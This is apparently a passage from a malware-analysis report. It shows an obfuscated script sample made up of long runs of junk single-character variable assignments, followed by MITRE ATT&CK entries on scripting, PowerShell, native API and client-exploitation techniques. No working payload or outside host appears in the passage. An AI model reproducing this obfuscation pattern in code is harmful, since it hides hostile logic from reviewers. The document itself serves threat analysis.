384	lsrik = "N";
385	lsrik = "o";
386	lsrik = "w";
387	lsrik = "d";
388	lsrik = "U";
389	harcht = "x";
390	harcht = "I";
391	harcht = "o";
392	lhigiseh = "l";
393	lhigiseh = "s";
394	lhigiseh = "T";
395	lhigiseh = "y";
396	lhigiseh = "D";
397	lhigiseh = "K";
398	lhigiseh = "r";
399	lhigiseh = "r";
400	lhigiseh = "a";
401	lhigiseh = "P";
402	lhigiseh = "q";
403	lhigiseh = "m";
404	lhigiseh = "H";
405	lhigiseh = "i";
406	lhigiseh = "J";
407	lhigiseh = "t";
408	lhigiseh = "X";
409	lhigiseh = "L";
410	lhigiseh = "R";
411	bebps = "l";
412	bebps = "A";
413	bebps = "H";
414	bebps = "m";
415	bebps = "S";
416	bebps = "x";
417	bebps = "B";
418	bebps = "_";
419	wnpwpjlt = "E";
420	wnpwpjlt = "P";
421	wnpwpjlt = "T";
422	wnpwpjlt = "O";
423	wnpwpjlt = "j";
424	wnpwpjlt = "z";
425	wnpwpjlt = "U";
426	wnpwpjlt = "s";
427	wnpwpjlt = "O";
428	wnpwpjlt = "T";
429	wnpwpjlt = "K";
430	wnpwpjlt = "T";
431	wnpwpjlt = "u";
432	wnpwpjlt = "r";
433	wnpwpjlt = "t";
434	wnpwpjlt = "Z";
435	wnpwpjlt = "Y";
436	wnpwpjlt = "S";
437	wnpwpjlt = "u";
438	wnpwpjlt = "z";
439	wnpwpjlt = "U";
440	wnpwpjlt = "g";
441	wnpwpjlt = "S";
442	wnpwpjlt = "x";
443	wnpwpjlt = "m";
444	wnpwpjlt = "M";
445	wnpwpjlt = "t";
446	wnpwpjlt = "u";
447	wnpwpjlt = "W";
448	wnpwpjlt = "O";
449	wnpwpjlt = "I";
450	wnpwpjlt = "X";
451	wnpwpjlt = "C";
452	wnpwpjlt = "e";
453	wnpwpjlt = "J";
454	wnpwpjlt = "a";
455	wnpwpjlt = "p";
456	wnpwpjlt = "o";
457	wnpwpjlt = "A";
458	wnpwpjlt = "D";
459	wnpwpjlt = "I";
460	wnpwpjlt = "L";
461	wnpwpjlt = "c";
462	wnpwpjlt = "m";
463	wnpwpjlt = ":";
464	kifnaos = "o";
465	kifnaos = "Y";
466	kifnaos = "e";
467	kifnaos = "p";
468	kifnaos = "M";
469	kifnaos = "E";
470	kifnaos = "d";
471	kifnaos = "a";
472	kifnaos = "D";
473	kifnaos = "c";
474	kifnaos = "H";
475	kifnaos = "d";
476	dezvaciak = "e";
477	dezvaciak = "D";
478	dezvaciak = "F";
479	dezvaciak = "Y";
480	dezvaciak = "V";
481	dezvaciak = "h";
482	dezvaciak = "e";
483	dezvaciak = "F";
484	dezvaciak = "E";
485	dezvaciak = "j";
486	dezvaciak = "G";
487	dezvaciak = "L";
488	dezvaciak = "u";
489	dezvaciak = "i";
490	dezvaciak = "n";
491	dezvaciak = "E";
492	dezvaciak = "A";
493	dezvaciak = "s";
494	dezvaciak = "f";
495	dezvaciak = "F";
496	dezvaciak = "y";
497	dezvaciak = "S";
498	dezvaciak = "E";
499	dezvaciak = "H";
500	dezvaciak = "R";
501	dezvaciak = "R";
502	dezvaciak = "d";
503	dezvaciak = "r";
504	dezvaciak = "I";
505	dezvaciak = "l";
506	dezvaciak = "J";
507	dezvaciak = "H";
508	dezvaciak = "F";
509	dezvaciak = "E";
510	dezvaciak = "B";
511	dezvaciak = "f";
512	dezvaciak = "r";
513	dezvaciak = "q";
514	dezvaciak = "X";
515	dezvaciak = "0";
516	xgdemmlxl = "C";
517	xgdemmlxl = "e";
518	xgdemmlxl = "X";
519	xgdemmlxl = "I";
520	xgdemmlxl = "Y";
521	xgdemmlxl = "y";
522	xgdemmlxl = "v";
523	xgdemmlxl = "W";
524	xgdemmlxl = "v";
525	xgdemmlxl = "R";
526	xgdemmlxl = "j";
527	xgdemmlxl = "y";
528	xgdemmlxl = "Z";
529	xgdemmlxl = "t";
530	xgdemmlxl = "c";
531	xgdemmlxl = "K";
532	xgdemmlxl = "F";
533	xgdemmlxl = "X";
534	xgdemmlxl = "h";
535	xgdemmlxl = "n";
536	xgdemmlxl = "f";
537	xgdemmlxl = "a";
538	xgdemmlxl = "d";
539	xgdemmlxl = "c";
540	xgdemmlxl = "p";
541	xgdemmlxl = "Z";
542	xgdemmlxl = "h";
543	xgdemmlxl = "K";
544	xgdemmlxl = "r";
545	xgdemmlxl = "B";
546	xgdemmlxl = "d";
547	xgdemmlxl = "X";
548	xgdemmlxl = "i";
549	xgdemmlxl = "S";
550	xgdemmlxl = "r";
551	xgdemmlxl = "D";
552	xgdemmlxl = "Y";
553	mcxpgikrb = "I";
554	mcxpgikrb = "F";
555	mcxpgikrb = "Q";
556	xwtkxkim = "e";
557	xwtkxkim = "T";
558	xwtkxkim = "E";
559	xwtkxkim = "u";
560	xwtkxkim = "f";
561	xwtkxkim = "i";
562	xwtkxkim = "U";
563	xwtkxkim = "V";
564	xwtkxkim = "p";
565	xwtkxkim = "H";
566	xwtkxkim = "N";
567	xwtkxkim = "q";
568	xwtkxkim = "l";
569	xwtkxkim = "A";
570	xwtkxkim = "U";
571	xwtkxkim = "y";
572	xwtkxkim = "P";
573	flopmx = "V";
574	flopmx = "H";
575	flopmx = "U";
576	flopmx = "D";
577	flopmx = "L";
578	flopmx = "l";
579	flopmx = "h";
580	flopmx = "P";
581	flopmx = "W";
582	flopmx = "z";
583	flopmx = "z";
584	flopmx = "i";
585	flopmx = "N";
586	flopmx = "R";
587	flopmx = "j";
588	flopmx = "t";
589	flopmx = "U";
590	flopmx = "x";
591	flopmx = "M";
592	flopmx = "b";
593	flopmx = "G";
594	flopmx = "s";
595	flopmx = "Z";
596	flopmx = "U";
597	flopmx = "S";
598	flopmx = "H";
599	flopmx = "h";
600	flopmx = "p";
601	flopmx = "e";
602	flopmx = "z";
603	flopmx = "w";
604	flopmx = "A";
605	flopmx = "A";
606	flopmx = "2";
607	jumjosq = "b";
608	xtawobj = "r";
609	xtawobj = "s";
610	xtawobj = "j";
611	xtawobj = "g";
612	xtawobj = "l";
613	xtawobj = "I";
614	xtawobj = "Z";
615	xtawobj = "C";
616	xtawobj = "J";
617	xtawobj = "C";
618	xtawobj = "g";
619	xtawobj = "e";
620	ozlajn = "i";
621	ozlajn = "b";
622	ozlajn = "T";
623	ozlajn = "g";
624	ozlajn = "B";
625	ozlajn = "G";
626	ozlajn = "W";
627	ozlajn = "X";
628	ozlajn = "A";
629	ozlajn = "f";
630	ozlajn = "s";
631	ozlajn = "m";
632	ozlajn = "m";
633	ozlajn = "Y";
634	ozlajn = "M";
635	ozlajn = "a";
636	ozlajn = "J";
637	ozlajn = "l";
638	ozlajn = "P";
639	ozlajn = "l";
640	ozlajn = "G";
641	ozlajn = "D";
642	ozlajn = "o";
643	ozlajn = "A";
644	ozlajn = "v";
645	ozlajn = "x";
646	ozlajn = "Q";
647	ozlajn = "h";
648	ozlajn = "R";
649	ozlajn = "Y";
650	ozlajn = "G";
651	ozlajn = "o";
652	ozlajn = "O";
653	ozlajn = "c";
654	ozlajn = "I";
655	ozlajn = "Y";
656	ozlajn = " ";
657	byhkt = "X";
658	byhkt = "O";
659	byhkt = "u";
660	byhkt = "z";
661	byhkt = "A";
662	byhkt = "v";
663	byhkt = "v";
664	byhkt = "j";
665	byhkt = "x";
666	byhkt = "Q";
667	byhkt = "f";
668	nfyvbkevr = "u";
669	nfyvbkevr = "v";
670	nfyvbkevr = "J";
671	nfyvbkevr = "q";
672	nfyvbkevr = "M";
673	nfyvbkevr = "f";
674	nfyvbkevr = "m";
675	nfyvbkevr = "X";
676	nfyvbkevr = "J";
677	nfyvbkevr = "T";
678	nfyvbkevr = "h";
679	nfyvbkevr = "S";
680	nfyvbkevr = "l";
681	nfyvbkevr = "Y";
682	nfyvbkevr = "k";
683	nfyvbkevr = "v";
684	nfyvbkevr = "O";
685	nfyvbkevr = "w";
686	nfyvbkevr = "Y";
687	nfyvbkevr = "F";
688	nfyvbkevr = "o";
689	nfyvbkevr = "v";
690	gnwrxom = "T";
691	gnwrxom = "c";
692	gnwrxom = "U";
693	gnwrxom = "R";
694	gnwrxom = "Q";
695	gnwrxom = "f";
696	gnwrxom = "s";
697	gnwrxom = "-";
698	ohjeo = "E";
699	ohjeo = "I";
700	ohjeo = "z";
701	ohjeo = "h";
702	ohjeo = "X";
703	ohjeo = "X";
704	ohjeo = "g";
705	ohjeo = "F";
706	ohjeo = "J";
707	ohjeo = "B";
708	ohjeo = "V";
709	ohjeo = "Z";
710	ohjeo = "g";
711	ohjeo = "K";
712	ohjeo = "M";
713	ohjeo = "H";
714	ohjeo = "H";
715	ohjeo = "C";
716	ohjeo = "z";
717	ohjeo = "E";
718	ohjeo = "l";
719	ohjeo = "U";
720	ohjeo = "e";
721	ohjeo = "P";
722	ohjeo = "X";
723	ohjeo = "g";
724	ohjeo = "F";
725	ohjeo = "j";
726	ohjeo = "f";
727	ohjeo = "I";
728	ohjeo = "m";
729	ohjeo = "A";
730	ohjeo = "o";
731	ohjeo = "j";
732	ohjeo = "a";
733	ohjeo = "S";
734	ohjeo = "i";
735	ohjeo = "r";
736	ohjeo = "w";
737	ohjeo = "G";
738	ohjeo = "a";
739	ohjeo = "v";
740	ohjeo = "5";
741	wgazki = "V";
742	wgazki = "V";
743	wgazki = "y";
744	wgazki = "S";
745	wgazki = "Q";
746	wgazki = "v";
747	wgazki = "a";
748	wgazki = "j";
749	wgazki = "x";
750	wgazki = "m";
751	wgazki = "N";
752	wgazki = "w";
753	wgazki = "D";
754	wgazki = "B";
755	wgazki = "W";
756	wgazki = "M";
757	wgazki = "J";
758	wgazki = "L";
759	affzxqtv = "c";
760	affzxqtv = "r";
761	affzxqtv = "y";
762	affzxqtv = "b";
763	affzxqtv = "R";
764	affzxqtv = "b";
765	affzxqtv = "q";
766	affzxqtv = "R";
767	affzxqtv = "O";
768	affzxqtv = "G";
769	affzxqtv = "A";
770	affzxqtv = "Z";
771	affzxqtv = "M";
772	affzxqtv = "r";
773	affzxqtv = "m";
774	affzxqtv = "z";
775	affzxqtv = "7";
776	rvesgrlh = "U";
777	rvesgrlh = "F";
778	rvesgrlh = "d";
779	rvesgrlh = "i";
780	rvesgrlh = "u";
781	rvesgrlh = "t";
782	rvesgrlh = "Q";
783	rvesgrlh = "e";
784	rvesgrlh = "k";
785	rvesgrlh = "r";
786	rvesgrlh = "W";
787	rvesgrlh = "T";
788	rvesgrlh = "j";
789	rvesgrlh = "T";
790	rvesgrlh = "W";
791	rvesgrlh = "o";
792	rvesgrlh = "J";
793	rvesgrlh = "T";
794	rvesgrlh = "H";
795	rvesgrlh = "W";
796	rvesgrlh = "R";
797	rvesgrlh = "Y";
798	rvesgrlh = "r";
799	rvesgrlh = "k";
800	fvmchozo = "o";
801	fvmchozo = "j";
802	fvmchozo = "q";
803	fvmchozo = "Z";
804	fvmchozo = "n";
805	fvmchozo = "X";
806	fvmchozo = "Y";
807	fvmchozo = "b";
808	fvmchozo = "a";
809	fvmchozo = "T";
810	fqpflyte = "S";
811	fqpflyte = "o";
812	fqpflyte = "B";
813	fqpflyte = "Q";
814	fqpflyte = "m";
815	fqpflyte = "j";
816	fqpflyte = "f";
817	fqpflyte = "p";
818	fqpflyte = "K";
819	fqpflyte = "w";
820	fqpflyte = "P";
821	fqpflyte = "k";
822	fqpflyte = "b";
823	fqpflyte = "m";
824	fqpflyte = "o";
825	fqpflyte = "J";
826	fqpflyte = "M";
827	fqpflyte = "T";
828	fqpflyte = "T";
829	fqpflyte = "r";
830	fqpflyte = "j";
831	fqpflyte = "N";
832	jbpebjqsd = "c";
833	bmgfi = "C";
834	bmgfi = "t";
835	bmgfi = "c";
836	bmgfi = "g";
837	bmgfi = "H";
838	bmgfi = "d";
839	bmgfi = "N";
840	bmgfi = "L";
841	bmgfi = "i";
842	bmgfi = "l";
843	bmgfi = "c";
844	bmgfi = "L";
845	bmgfi = "p";
846	bmgfi = "I";
847	bmgfi = "R";
848	bmgfi = "d";
849	bmgfi = "W";
850	bmgfi = "P";
851	bmgfi = "S";
852	bmgfi = "j";
853	bmgfi = "I";
854	bmgfi = "q";
855	bmgfi = "s";
856	bmgfi = "f";
857	bmgfi = "U";
858	bmgfi = "Q";
859	bmgfi = "a";
860	bmgfi = "Z";
861	bmgfi = "L";
862	bmgfi = ".";
863	bvrzm = "C";
864	bvrzm = "Y";
865	bvrzm = "L";
866	bvrzm = "V";
867	bvrzm = "Y";
868	bvrzm = "a";
869	bvrzm = "u";
870	bvrzm = "H";
871	bvrzm = "T";
872	bvrzm = "F";
873	bvrzm = "b";
874	bvrzm = "k";
875	bvrzm = "l";
876	bvrzm = "S";
877	bvrzm = "a";
878	bvrzm = "n";
879	bvrzm = "b";
880	bvrzm = "Y";
881	bvrzm = "K";
882	bvrzm = "Q";
883	bvrzm = "D";
884	bvrzm = "q";
885	bvrzm = "Q";
886	bvrzm = "a";
887	bvrzm = "z";
888	bvrzm = "g";
889	bvrzm = "M";
890	bvrzm = "Y";
891	bvrzm = "C";
892	bvrzm = "Z";
893	bvrzm = "T";
894	bvrzm = "g";
895	bvrzm = "w";
896	bvrzm = "D";
897	bvrzm = "i";
898	bvrzm = "d";
899	bvrzm = "z";
900	bvrzm = "g";
901	bvrzm = "S";
902	bvrzm = "j";
903	bvrzm = "b";
904	bvrzm = "q";
905	bvrzm = "R";
906	bvrzm = "Z";
907	bvrzm = "n";
908	uxhbxwh = "s";
909	uxhbxwh = "l";
910	uxhbxwh = "r";
911	uxhbxwh = "N";
912	uxhbxwh = "s";
913	uxhbxwh = "y";
914	uxhbxwh = "T";
915	uxhbxwh = "i";
916	uxhbxwh = "B";
917	uxhbxwh = "v";
918	uxhbxwh = "o";
919	uxhbxwh = "g";
920	uxhbxwh = "G";
921	uxhbxwh = "X";
922	uxhbxwh = "C";
923	uxhbxwh = "c";
924	uxhbxwh = "E";
925	uxhbxwh = "B";
926	uxhbxwh = "n";
927	uxhbxwh = "B";
928	uxhbxwh = "Q";
929	uxhbxwh = "g";
930	uxhbxwh = "k";
931	uxhbxwh = "h";
932	uxhbxwh = "Q";
933	uxhbxwh = "x";
934	uxhbxwh = "r";
935	uxhbxwh = "W";
936	uxhbxwh = "I";
937	uxhbxwh = "K";
938	uxhbxwh = "V";
939	uxhbxwh = "k";
940	uxhbxwh = "3";
941	hmmnnsfmj = "I";
942	hmmnnsfmj = "q";
943	hmmnnsfmj = "N";
944	hmmnnsfmj = "b";
945	hmmnnsfmj = "m";
946	hmmnnsfmj = "K";
947	hmmnnsfmj = "W";
948	hmmnnsfmj = "R";
949	hmmnnsfmj = "R";
950	hmmnnsfmj = "N";
951	hmmnnsfmj = "P";
952	hmmnnsfmj = "c";
953	hmmnnsfmj = "M";
954	hmmnnsfmj = "a";
955	hmmnnsfmj = "K";
956	hmmnnsfmj = "R";
957	hmmnnsfmj = "e";
958	hmmnnsfmj = "Q";
959	hmmnnsfmj = "P";
960	hmmnnsfmj = "P";
961	hmmnnsfmj = "m";
962	hmmnnsfmj = "x";
963	hmmnnsfmj = "q";
964	hmmnnsfmj = "O";
965	hmmnnsfmj = "I";
966	hmmnnsfmj = "Y";
967	hmmnnsfmj = "x";
968	lfcrnv = "z";
969	lfcrnv = "L";
970	lfcrnv = "M";
971	lfcrnv = "R";
972	lfcrnv = "s";
973	lfcrnv = "L";
974	lfcrnv = "g";
975	lfcrnv = "w";
976	lfcrnv = "L";
977	lfcrnv = "T";
978	lfcrnv = "U";
979	lfcrnv = "Y";
980	lfcrnv = "Y";
981	lfcrnv = "&";
982	gypajqo = "v";
983	gypajqo = "r";
984	gypajqo = "q";
985	gypajqo = "X";
986	gypajqo = "w";
987	gypajqo = "L";
988	gypajqo = "q";
989	gypajqo = "k";
990	gypajqo = "E";
991	gypajqo = "e";
992	gypajqo = "A";
993	gypajqo = "i";
994	gypajqo = "R";
995	gypajqo = "y";
996	gypajqo = "Y";
997	gypajqo = "R";
998	gypajqo = "X";
999	gypajqo = "m";
1000	gypajqo = "j";
1001	gypajqo = "y";
1002	gypajqo = "R";
1003	gypajqo = "m";
1004	gypajqo = "f";
1005	gypajqo = "s";
1006	gypajqo = "M";
1007	gypajqo = "F";
1008	gypajqo = "K";
1009	gypajqo = "y";
1010	gypajqo = "v";
1011	gypajqo = "O";
1012	gypajqo = "R";
1013	gypajqo = "A";
1014	gypajqo = "i";
1015	gypajqo = "L";
1016	gypajqo = "V";
1017	gypajqo = "C";
1018	gypajqo = "b";
1019	gypajqo = "j";
1020	gypajqo = "%";
1021	thrno = "p";
1022	thrno = "x";
1023	thrno = "6";
1024	heehevkew = "W";
1025	heehevkew = "Z";
1026	heehevkew = "o";
1027	heehevkew = "W";
1028	heehevkew = "B";
1029	heehevkew = "Q";
1030	heehevkew = "I";
1031	heehevkew = "Q";
1032	heehevkew = "M";
1033	heehevkew = "Q";
1034	heehevkew = "E";
1035	vshjvh = "u";
1036	vshjvh = "S";
1037	vshjvh = "s";
1038	vshjvh = "w";
1039	vshjvh = "b";
1040	vshjvh = "Y";
1041	vshjvh = "r";
1042	vshjvh = "S";
1043	vshjvh = "x";
1044	vshjvh = "b";
1045	vshjvh = "v";
1046	vshjvh = "d";
1047	vshjvh = "g";
1048	vshjvh = "m";
1049	vshjvh = "r";
1050	vshjvh = "V";
1051	vshjvh = "y";
1052	vshjvh = "d";
1053	vshjvh = "c";
1054	vshjvh = "n";
1055	vshjvh = "S";
1056	vshjvh = "H";
1057	vshjvh = "Y";
1058	vshjvh = "Z";
1059	vshjvh = "M";
1060	vshjvh = "J";
1061	vshjvh = "i";
1062	vshjvh = "b";
1063	vshjvh = "e";
1064	vshjvh = "I";
1065	vshjvh = "O";
1066	vshjvh = "x";
1067	vshjvh = "s";
1068	vshjvh = "e";
1069	vshjvh = "I";
1070	vshjvh = "t";
1071	vshjvh = "w";
1072	vshjvh = "z";
1073	vshjvh = "L";
1074	vshjvh = "r";
1075	vshjvh = "H";
1076	vshjvh = "X";
1077	vshjvh = "A";
1078	vshjvh = "i";
1079	yjjfmofo = "V";
1080	yjjfmofo = "b";
1081	yjjfmofo = "x";
1082	yjjfmofo = "P";
1083	yjjfmofo = "Q";
1084	yjjfmofo = "l";
1085	yjjfmofo = "Y";
1086	yjjfmofo = "y";
1087	yjjfmofo = "Q";
1088	yjjfmofo = "i";
1089	yjjfmofo = "J";
1090	yjjfmofo = "K";
1091	yjjfmofo = "F";
1092	yjjfmofo = "r";
1093	yjjfmofo = "X";
1094	yjjfmofo = "V";
1095	yjjfmofo = "T";
1096	yjjfmofo = "Z";
1097	yjjfmofo = "A";
1098	yjjfmofo = "X";
1099	yjjfmofo = "z";
1100	yjjfmofo = "W";
1101	yjjfmofo = "o";
1102	yjjfmofo = "A";
1103	yjjfmofo = "P";
1104	yjjfmofo = "i";
1105	yjjfmofo = "b";
1106	yjjfmofo = "A";
1107	yjjfmofo = "d";
1108	yjjfmofo = "F";
1109	yjjfmofo = "i";
1110	yjjfmofo = "e";
1111	yjjfmofo = "I";
1112	yjjfmofo = "W";
1113	yjjfmofo = "F";
1114	yjjfmofo = "a";
1115	yjjfmofo = "M";
1116	yjjfmofo = "g";
1117	qsksb = "d";
1118	qsksb = "i";
1119	qsksb = "i";
1120	qsksb = "B";
1121	qsksb = "F";
1122	qsksb = "N";
1123	qsksb = "Q";
1124	qsksb = "U";
1125	qsksb = "h";
1126	qsksb = "N";
1127	qsksb = "g";
1128	qsksb = "K";
1129	qsksb = "B";
1130	qsksb = "q";
1131	qsksb = "H";
1132	rzxndxqn = "l";
1133	rzxndxqn = "l";
1134	rzxndxqn = "e";
1135	rzxndxqn = "T";
1136	rzxndxqn = "w";
1137	rzxndxqn = "p";
1138	rzxndxqn = "g";
1139	rzxndxqn = "K";
1140	rzxndxqn = "R";
1141	rzxndxqn = "s";
1142	rzxndxqn = "c";
1143	rzxndxqn = "S";
1144	rzxndxqn = "t";
1145	rzxndxqn = "Y";
1146	rzxndxqn = "x";
1147	rzxndxqn = "r";
1148	rzxndxqn = "k";
1149	rzxndxqn = "g";
1150	rzxndxqn = "K";
1151	rzxndxqn = "Y";
1152	rzxndxqn = "P";
1153	rzxndxqn = "4";
1154	dakgado = "K";
1155	dakgado = "t";
1156	dakgado = "h";
1157	dakgado = "p";
1158	dakgado = "L";
1159	dakgado = "s";
1160	dakgado = "s";
1161	dakgado = "j";
1162	dakgado = "S";
1163	dakgado = "j";
1164	dakgado = "M";
1165	dakgado = "y";
1166	dakgado = "x";
1167	dakgado = "y";
1168	dakgado = "j";
1169	dakgado = "v";
1170	dakgado = "M";
1171	dakgado = "g";
1172	dakgado = "j";
1173	dakgado = "u";
1174	dakgado = "T";
1175	dakgado = "C";
1176	dakgado = "d";
1177	dakgado = "l";
1178	dakgado = "L";
1179	dakgado = "L";
1180	dakgado = "m";
1181	dakgado = "C";
1182	dakgado = "d";
1183	dakgado = "T";
1184	dakgado = "\\";
1185	wvdgofavz = "L";
1186	wvdgofavz = "h";
1187	wvdgofavz = "n";
1188	wvdgofavz = "b";
1189	wvdgofavz = "R";
1190	wvdgofavz = "S";
1191	wvdgofavz = "B";
1192	wvdgofavz = "F";
1193	wvdgofavz = "b";
1194	wvdgofavz = "F";
1195	wvdgofavz = "h";
1196	wvdgofavz = "C";
1197	wvdgofavz = "W";
1198	wvdgofavz = "J";
1199	wvdgofavz = "D";
1200	wvdgofavz = "O";
1201	wvdgofavz = "v";
1202	wvdgofavz = "t";
1203	wvdgofavz = "s";
1204	wvdgofavz = "X";
1205	wvdgofavz = "V";
1206	wvdgofavz = "k";
1207	wvdgofavz = "g";
1208	wvdgofavz = "T";
1209	wvdgofavz = "X";
1210	wvdgofavz = "L";
1211	wvdgofavz = "S";
1212	wvdgofavz = "K";
1213	wvdgofavz = "V";
1214	wvdgofavz = "v";
1215	wvdgofavz = "E";
1216	wvdgofavz = "C";
1217	wvdgofavz = "s";
1218	wvdgofavz = "R";
1219	wvdgofavz = "T";
1220	wvdgofavz = "1";
1221	dqjstfnlb = "Z";
1222	dqjstfnlb = "G";
1223	dqjstfnlb = "B";
1224	dqjstfnlb = "F";
1225	dqjstfnlb = "b";
1226	dqjstfnlb = "N";
1227	dqjstfnlb = "z";
1228	dqjstfnlb = "C";
1229	dqjstfnlb = "T";
1230	dqjstfnlb = "a";
1231	dqjstfnlb = "e";
1232	dqjstfnlb = "T";
1233	dqjstfnlb = "G";
1234	dqjstfnlb = "G";
1235	dqjstfnlb = "H";
1236	dqjstfnlb = "M";
1237	dqjstfnlb = "Z";
1238	dqjstfnlb = "V";
1239	dqjstfnlb = "C";
1240	svrjpi = "i";
1241	svrjpi = "n";
1242	svrjpi = "d";
1243	svrjpi = "f";
1244	svrjpi = "s";
1245	svrjpi = "K";
1246	svrjpi = "t";
1247	svrjpi = "X";
1248	svrjpi = "f";
1249	svrjpi = "J";
1250	svrjpi = "G";
1251	svrjpi = "V";
1252	svrjpi = "q";
1253	svrjpi = "a";
1254	svrjpi = "i";
1255	svrjpi = "F";
1256	svrjpi = "r";
1257	ewssjmmc = "X";
1258	ewssjmmc = "V";
1259	ewssjmmc = "A";
1260	ewssjmmc = "Z";
1261	ewssjmmc = "I";
1262	ewssjmmc = "s";
1263	ewssjmmc = "R";
1264	ewssjmmc = "x";
1265	ewssjmmc = "U";
1266	ewssjmmc = "N";
1267	ewssjmmc = "E";
1268	ewssjmmc = "p";
1269	gbnein = "o";
1270	gbnein = "Q";
1271	gbnein = "M";
1272	gbnein = "r";
1273	gbnein = "E";
1274	gbnein = "c";
1275	gbnein = "f";
1276	gbnein = "I";
1277	gbnein = "I";
1278	gbnein = "W";
1279	gbnein = "j";
1280	gbnein = "q";
1281	gbnein = "A";
1282	gbnein = "Q";
1283	gbnein = "h";
1284	gbnein = "I";
1285	qiyrr = "F";
1286	qiyrr = "Q";
1287	qiyrr = "N";
1288	qiyrr = "h";
1289	qiyrr = "I";
1290	qiyrr = "Z";
1291	qiyrr = "F";
1292	qiyrr = "p";
1293	qiyrr = "s";
1294	qiyrr = "U";
1295	qiyrr = "s";
1296	qiyrr = "b";
1297	qiyrr = "e";
1298	qiyrr = "s";
1299	qiyrr = "F";
1300	qiyrr = "D";
1301	qiyrr = "F";
1302	qiyrr = "p";
1303	qiyrr = "D";
1304	qiyrr = "V";
1305	qiyrr = "n";
1306	qiyrr = "O";
1307	qiyrr = "c";
1308	qiyrr = "a";
1309	qiyrr = "G";
1310	qiyrr = "R";
1311	qiyrr = "J";
1312	qiyrr = "z";
1313	qiyrr = "m";
1314	qiyrr = "r";
1315	qiyrr = "D";
1316	qiyrr = "9";
1317	hwybqx = "j";
1318	hwybqx = "x";
1319	hwybqx = "D";
1320	hwybqx = "e";
1321	hwybqx = "u";
1322	hwybqx = "m";
1323	hwybqx = "F";
1324	hwybqx = "B";
1325	hwybqx = "E";
1326	hwybqx = "G";
1327	hwybqx = "M";
1328	hwybqx = "X";
1329	hwybqx = "M";
1330	hwybqx = "U";
1331	hwybqx = "h";
1332	hwybqx = "a";
1333	hwybqx = "R";
1334	hwybqx = "h";
1335	hwybqx = "C";
1336	hwybqx = "z";
1337	hwybqx = "m";
1338	hwybqx = "j";
1339	xbqpqidx = "f";
1340	xbqpqidx = "Y";
1341	xbqpqidx = "G";
1342	xbqpqidx = "T";
1343	xbqpqidx = "P";
1344	xbqpqidx = "d";
1345	xbqpqidx = "l";
1346	xbqpqidx = "R";
1347	xbqpqidx = "i";
1348	xbqpqidx = "n";
1349	xbqpqidx = "M";
1350	xbqpqidx = "s";
1351	xbqpqidx = "I";
1352	xbqpqidx = "m";
1353	xbqpqidx = "E";
1354	xbqpqidx = "D";
1355	xbqpqidx = "h";
1356	xbqpqidx = "O";
1357	xbqpqidx = "T";
1358	xbqpqidx = "A";
1359	xbqpqidx = "x";
1360	xbqpqidx = "u";
1361	xbqpqidx = "I";
1362	xbqpqidx = "G";
1363	xbqpqidx = "C";
1364	xbqpqidx = "A";
1365	xbqpqidx = "j";
1366	xbqpqidx = "G";
1367	xbqpqidx = "K";
1368	xbqpqidx = "A";
1369	xbqpqidx = "A";
1370	xbqpqidx = "Q";
1371	xbqpqidx = "Z";
1372	xbqpqidx = "r";
1373	xbqpqidx = "g";
1374	xbqpqidx = "q";
1375	xbqpqidx = "n";
1376	xbqpqidx = "o";
1377	xbqpqidx = "D";
1378	xbqpqidx = "f";
1379	xbqpqidx = "a";
1380	ituyz = "t";
1381	ituyz = "L";
1382	ituyz = "n";
1383	ituyz = "l";
1384	ituyz = "z";
1385	ituyz = "S";
1386	ssxgxzia = "u";
1387	ssxgxzia = "k";
1388	ssxgxzia = "I";
1389	ssxgxzia = "w";
1390	ssxgxzia = "x";
1391	ssxgxzia = "K";
1392	ssxgxzia = "z";
1393	ssxgxzia = "y";
1394	ssxgxzia = "R";
1395	ssxgxzia = "Z";
1396	ssxgxzia = "x";
1397	ssxgxzia = "V";
1398	ssxgxzia = "D";
1399	ssxgxzia = "S";
1400	ssxgxzia = "F";
1401	ssxgxzia = "t";
1402	ssxgxzia = "D";
1403	ssxgxzia = "v";
1404	ssxgxzia = "H";
1405	ssxgxzia = "L";
1406	ssxgxzia = "O";
1407	ssxgxzia = "b";
1408	ssxgxzia = "H";
1409	ssxgxzia = "l";
1410	ssxgxzia = "s";
1411	ssxgxzia = "A";
1412	ssxgxzia = "N";
1413	ssxgxzia = "n";
1414	ssxgxzia = "e";
1415	ssxgxzia = "t";
1416	ssxgxzia = "I";
1417	ssxgxzia = "l";
1418	wmqrt ( );	wmqrt() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

